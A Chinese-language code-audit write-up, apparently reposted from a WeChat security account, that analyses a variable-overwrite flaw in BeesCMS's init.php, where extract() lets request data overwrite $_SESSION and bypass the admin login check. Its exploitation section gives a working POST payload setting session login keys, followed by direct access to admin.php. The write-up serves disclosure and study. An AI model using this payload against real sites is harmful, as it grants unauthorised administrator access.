【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析

admin 2021年9月1日20:08:41评论619 views字数 1051阅读3分30秒阅读模式

一、漏洞描述:

init.php中存在变量覆盖漏洞,而后台判断登陆的代码仅仅用$_SESSION一些键值进行了判断,导致覆盖$_SESSION的关键值后,可以绕过登陆的判断,从而登陆后台。



二、漏洞分析过程:

定位到漏洞代码:/includes/init.php

首先对参数进行全局过滤,最后用extract进行变量的初始化,这里没有值对flags进行限制,所以可以导致任意变量覆盖

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


并且覆盖之前已经session_start()了,所以不会重新初始化,也就是说$_SESSION可以被任意覆盖

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


漏洞部分代码:

if (!get_magic_quotes_gpc()){    if (isset($_REQUEST))    {        $_REQUEST  = addsl($_REQUEST);    }    $_COOKIE   = addsl($_COOKIE);  $_POST = addsl($_POST);  $_GET = addsl($_GET);}if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}    $_COOKIE   = fl_value($_COOKIE);  $_GET = fl_value($_GET);@extract($_POST);@extract($_GET);@extract($_COOKIE);


index.php包含了init.php

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


然后/admin/admin.php,会包含/admin/init.php,这里会用is_login()函数进行登陆检查

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


跟进is_login()函数:/includes/fun.php

可以看到这里判断是否登陆,只是判断了$_SESSION['login_in']==1并且$_SESSION['admin']有值就行,然后$_SESSION['time']要大于3600,就判断为已登陆

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


所以我们可以通过变量覆盖漏洞对$_SESSION进行操作,让其满足登陆判断的条件,然后即可实现后台登陆的绕过。




三、漏洞利用:

1、访问首页,覆盖变量

http://www.beescms.test/index.php

POST数据:

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999


【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


2、直接访问后台页面,成功无需登录访问:

http://www.beescms.test/admin/admin.php

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


本文始发于微信公众号(哈拉少安全小队):【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月1日20:08:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析https://cn-sec.com/archives/373121.html

发表评论

匿名网友 填写信息